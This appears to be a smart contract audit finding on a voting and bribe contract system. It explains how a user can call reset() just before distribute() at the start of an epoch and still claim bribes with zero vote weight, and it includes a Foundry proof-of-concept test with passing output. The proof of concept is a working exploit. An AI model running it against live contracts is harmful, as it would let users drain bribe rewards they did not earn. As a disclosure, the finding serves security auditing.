Users to be able to reset the voting status, need to call Voter.sol#reset(). However, the modifier onlyNewEpoch() will force the user to wait until a new epoch starts since the last vote. So user can call reset() at the first second of the new epoch.
2- To distribute rewards and bribes to all gauges you need to call Voter.sol#distribute() only once per epoch. (Normally this is done by off-chain bots)
File: Voter.sol408:function_distribute(address_gauge) internal {409:410:// Distribute once after epoch has ended411:require(412: block.timestamp >=IMinter(minter).activePeriod() +IMinter(minter).DURATION(),413:"can only distribute after period end"414: );
Now, the first point updates all the related values, but the Bribe.sol#withdraw() will create a new checkpoint X (see: _writeCheckpoint()[#2]) this checkpoint get considered for the new epoch not the last epoch.
Next time the user calls voter.sol#claimBribes(). the balanceOf of the epoch X - 1 will allow the user to claim all/part from the bribes even if he didn't help the gauge to generate more emrssions
functiontest_bribes_poc_01() public { {//set upuint256 tokenId1 =createVeAlcx(admin, TOKEN_1, MAXTIME,false);address bribeAddress = voter.bribes(address(sushiGauge));address[] memory pools =newaddress[](1); pools[0] = sushiPoolAddress;uint256[] memory weights =newuint256[](1); weights[0] =5000;address[] memory bribes =newaddress[](1); bribes[0] =address(bribeAddress);address[][] memory tokens =newaddress[][](1); tokens[0] =newaddress[](1); tokens[0][0] = bal;// in epoch i, user votes with balance x hevm.prank(admin); voter.vote(tokenId1, pools, weights,0);// Start epoch hevm.warp(newEpoch()); voter.distribute(); } hevm.prank(admin); voter.vote(tokenId1, pools, weights,0);// Add BAL bribes to sushiGaugecreateThirdPartyBribe(bribeAddress, bal, TOKEN_100K); /*@audit you can call `distribute()`only starting from `IMinter(minter).activePeriod() + IMinter(minter).DURATION()` */
// Start second epoch. this is the first second of the second epoch. hevm.warp(newEpoch() -1);//! user front-run the `distribute()` transaction hevm.prank(admin); voter.reset(tokenId1);//! weight is zerouint weight = voter.weights(sushiPoolAddress);assertEq(weight,0); voter.distribute();uint256 balanceStart =IERC20(bal).balanceOf(admin);// Claim bribes from epoch i hevm.warp(block.timestamp +100); hevm.prank(admin); voter.claimBribes(bribes, tokens, tokenId1);uint256 balanceEnd =IERC20(bal).balanceOf(admin);//! weight is zero but the user still able to claim the bribesassertGt(balanceEnd, balanceStart); }
Test result:
Ran 1 test for src/test/Voting.t.sol:VotingTest[PASS] test_bribes_poc_01() (gas: 3792050)Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 52.46s (37.28s CPU time)Ran 1 test suite in 54.39s (52.46s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)